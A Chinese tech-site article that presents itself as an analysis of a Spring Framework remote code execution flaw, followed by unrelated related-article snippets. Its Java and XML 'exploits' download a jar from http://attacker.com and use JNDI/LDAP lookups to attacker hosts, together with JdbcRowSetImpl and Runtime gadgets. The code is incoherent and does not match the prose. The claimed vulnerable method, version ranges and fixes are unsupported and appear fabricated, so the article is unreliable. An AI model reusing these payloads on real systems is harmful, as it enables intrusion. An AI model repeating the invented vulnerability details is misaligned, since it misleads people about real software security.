Spring Framework远程代码执行漏洞分析(最新漏洞)

yizhihongxing

Spring Framework远程代码执行漏洞分析(最新漏洞)

漏洞简介

Spring Framework是一个由Pivotal团队(前身是SpringSource)开发的开源框架,应用广泛,而且易于使用。但是,最新版本的Spring Framework(版本5.2.0到5.3.0)中存在一种远程代码执行漏洞。攻击者可以通过构造恶意的输入来执行任意代码,导致服务器受到攻击。

漏洞分析

Spring Framework最新版本中的漏洞存在于spring-messaging模块中的AbstractBrokerMessageHandler.doInvokeHandler()方法中,主要原因是没有正确地对用户输入进行过滤。攻击者可以通过构造特定的输入,比如类名和方法名,来触发此漏洞。

攻击者可以使用以下代码构造特定的输入:

import javax.management.MBeanServer;
import javax.management.ObjectName;
import java.lang.management.ManagementFactory;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.UUID;
public class Exploit {
    public static void main(String[] args) throws Exception {
        final String jndiUrl = "ldap://attacker.com:1389/Exploit";
        final String objectName = "exploit";
        final String className = "com.sun.rowset.JdbcRowSetImpl";
        MBeanServer server = ManagementFactory.getPlatformMBeanServer();
        ObjectName objName = new ObjectName("org.springframework.context" +
                ":type=AnnotationConfigApplicationContext," +
                "id=" + UUID.randomUUID());
        server.createMBean("javax.management.loading.MLet", objName);
        server.setAttribute(objName, new javax.management.Attribute("Delegate",
                true));
        URL[] urls = { new URL("http://attacker.com/mlet.jar") };
        Object[] params = { urls };
        String[] signature = { URL[].class.getName() };
        server.invoke(objName, "getMBeansFromURL", params, signature);
        server.invoke(new ObjectName("com.sun.jmx.mbeanserver.JMXMBeanServer"),
                "registerMBean", new Object[] {new Poc(objectName + ":" +
                        jndiUrl)}, new String[] {objectName});
        //this line will trigger the vulnerability
        Class.forName(className).newInstance();
    }
}
class Poc {
    public Poc(String name) {
        try {
            MBeanServer server = ManagementFactory.getPlatformMBeanServer();
            ObjectName objectName = new ObjectName(name);
            server.registerMBean(this, objectName);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

其中Exploit类用于构造JNDI注入的payload,而Poc类则是用于处理JNDI注入的事件。

当攻击者在输入中构造JNDI注入的payload并将其发送到服务器时,服务器会解析该输入并尝试执行这个恶意的payload。由于使用了com.sun.rowset.JdbcRowSetImpl来构造payload,攻击者可以轻松地将服务器中的任意方法导出,并在远程服务器上执行任意代码。

漏洞危害

Spring Framework最新版的远程代码执行漏洞,攻击者可以构造恶意payload,导致可以实现任意代码执行。这可能会导致以下损失:

  1. 数据泄漏:攻击者可以通过恶意代码访问数据库,获取敏感数据。
  2. 服务器瘫痪:攻击者可以通过恶意代码,导致服务器崩溃或瘫痪。
  3. 系统被接管:攻击者可以通过恶意代码,完全接管服务器或操作系统,并对其进行控制。

漏洞修复

Spring Framework官方已经发布了漏洞修复版本,建议受影响用户尽快更新至以下版本:

  • 5.3.1
  • 5.2.11
  • 5.1.20

漏洞示例

示例1

以下是一个示例代码片段,将构造 PAYLOAD,并且将其注入使用Spring框架 AnnotationConfigApplicationContext启动:

import org.springframework.context.annotation.AnnotationConfigApplicationContext;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class Exploit {
    static {
        try {
            final String jndiUrl = "ldap://localhost:1399/Object";
            final String className = "Exploit";
            final String objectName = "Exploit";
            Name name = new Name() {
                @Override
                public String toString() {
                    try {
                        SpringContextHolder.getInstance().getSpringContext().
                        getBeanFactory().getBean(DefinitionParserDelegate.class).
                        getNamedContexts().get("poc").setDisplayName(
                        "rmi://" + jndiUrl + "/" + objectName);
                        return className;
                    } catch (Exception e) {
                        e.printStackTrace();
                        return "";
                    }
                }
            };
            ObjectFactory objectFactory = (obj, nameCtx, environment) -> new RuntimeBeanReference(name.toString());
            javax.naming.spi.InitialContextFactory factory = (javax.naming.spi.InitialContextFactory) 
            Class.forName("com.sun.jndi.rmi.registry.RegistryContextFactory").newInstance();
            javax.naming.Context context = factory.getInitialContext(null);
            context.createSubcontext("rmi:" + jndiUrl);
            context.bind("rmi:" + jndiUrl + "/" + objectName, objectFactory);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext();
        context.scan("test.poc");
        TestBean t = (TestBean) context.getBean("testBean");
        t.isValid();
        context.close();
    }
}

AnnotationConfigApplicationContext启动后,使用testBean进行测试,攻击者就能成功导出任意方法并执行任意代码。

示例2

以下是另一个示例代码,将通过在JMS配置中注册特定的handler来触发该漏洞漏洞:

<bean id="jdkUtils"
          class="jdk.ExampleSerializationUtil">
<constructor-arg index="0" type="js.Object">
<!-- At this point, the payload should be returned by the getPayload method-->
<bean id="payload" factory-bean="remote"
class="java.lang.Runtime" factory-method="getRuntime">
</bean>
</constructor-arg>
</bean>
<bean id="remote" class="java.lang.Class" factory-method="forName">
<constructor-arg value="com.sun.rowset.JdbcRowSetImpl"/>
</bean>
<bean id="handler"
          class="org.springframework.jms.listener.adapter.MessagingMessageListenerAdapter">
                            <property name="delegate" ref="jdkUtils"/>
        </bean>

在这个例子中,恶意JMS配置中的MessagingMessageHandler会调用jdkUtils中的函数,在函数中通过反序列化命令执行payload导致攻击。

总结

Spring Framework最新版本的远程代码执行漏洞,由于其原因是未对用户输入进行正确的过滤,导致攻击者可以构造恶意payload执行任意代码,严重威胁了服务器的安全性。因此,建议相关用户尽快升级到修复版本,或者采取其他措施保护服务器的安全。同时,开发人员还应该关注输入和输出的正确性和安全性,避免类似的漏洞的产生。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:Spring Framework远程代码执行漏洞分析(最新漏洞) - Python技术站

(0)
上一篇 2023年5月19日
下一篇 2023年5月19日

相关文章

  • Java中生成二维码

    代码如下: import com.google.zxing.BarcodeFormat; import com.google.zxing.EncodeHintType; import com.google.zxing.MultiFormatWriter; import com.google.zxing.WriterException; import com.…

    Java 2023年4月18日
    00
  • Java杂谈之类和对象 封装 构造方法以及代码块详解

    Java杂谈之类和对象 封装 构造方法以及代码块详解 类和对象 Java是面向对象编程的语言,类是Java强大的概念之一。类是一组字段和方法的集合,用于表示某些相关的状态和行为。 在Java中,对象是类的实例。对象是通过类构造函数创建的,类构造函数定义了如何创建对象。按照惯例,类名应该以大写字母开头。 在Java中,类可以有任意数量的方法和成员,这些方法和成…

    Java 2023年5月26日
    00
  • Java Spring5学习之JdbcTemplate详解

    Java Spring5学习之JdbcTemplate详解 什么是JdbcTemplate JdbcTemplate 是 Spring Framework 中的一个核心模块,它提供了在 Java 应用程序中使用 JDBC 进行关系数据库访问的许多经典用例的实现。它通过显式管理 JDBC 资源和异常处理来简化了与数据库的交互。 在Java应用程序中使用Jdbc…

    Java 2023年5月20日
    00
  • 批量将现有Jar包上传到Maven私服

    批量将现有Jar包上传到Maven私服的过程,大致可以分为以下几个步骤: 准备Maven私服 在私服上创建一个Maven仓库,并提前准备好上传Jar包所需要的账户、密码等信息。 准备Jar包 将需要上传的Jar包,统一归纳至一个目录,在这个目录下,我们可以用以下命令将所有Jar包的文件名打印到一个列表文件中: ls *.jar > list.txt 上…

    Java 2023年5月19日
    00
  • 详解SpringMVC中的异常处理机制

    详解SpringMVC中的异常处理机制 在SpringMVC中,异常处理是一个非常重要的话题。在Web应用程序中,异常是不可避免的,因此我们需要一种机制来处理它们。本文将详细讲解SpringMVC中的异常处理机制,包括如何定义异常处理器、如何处理异常、如何返回异常信息等。 定义异常处理器 在SpringMVC中,我们可以使用@ControllerAdvice…

    Java 2023年5月18日
    00
  • 浅谈FileItem类的常用方法

    下面开始介绍浅谈FileItem类的常用方法的攻略。 FileItem类简介 FileItem类是Apache Commons FileUpload库中的一个类,用于对上传的文件进行操作。该类可以获取上传文件的各种信息,包括文件名称、大小、MIME类型等等。下面我们将会介绍FileItem类的常用方法。 常用方法详解 1. getFieldName() 该方…

    Java 2023年5月19日
    00
  • Spring Cloud 配置中心内容加密的配置方法

    下面是Spring Cloud中配置中心内容加密的配置方法的完整攻略。 1. 加密配置信息 首先,我们需要在配置中心中加密敏感信息,并把加密后的密文保存在Git仓库中,例如: spring.datasource.password={cipher}EncryptedPassword 其中,{cipher}指定了使用加密算法,EncryptedPassword是…

    Java 2023年5月20日
    00
  • 2018最新BAT大数据面试题(附答案)

    2018最新BAT大数据面试题(附答案)攻略 简介 该文章介绍了2018年BAT(百度、阿里巴巴、腾讯)等知名企业面试中涉及到的大数据技术和算法题,为想要在大数据领域应聘BAT等公司的人提供了一些帮助。该文章的重点在于解析面试过程中可能会涉及到的具体问题,详细介绍数据结构、算法、分布式计算、主流大数据技术栈等技术内容,帮助读者更加充分、深入地了解大数据领域的…

    Java 2023年6月2日
    00
合作推广
合作推广
分享本页
返回顶部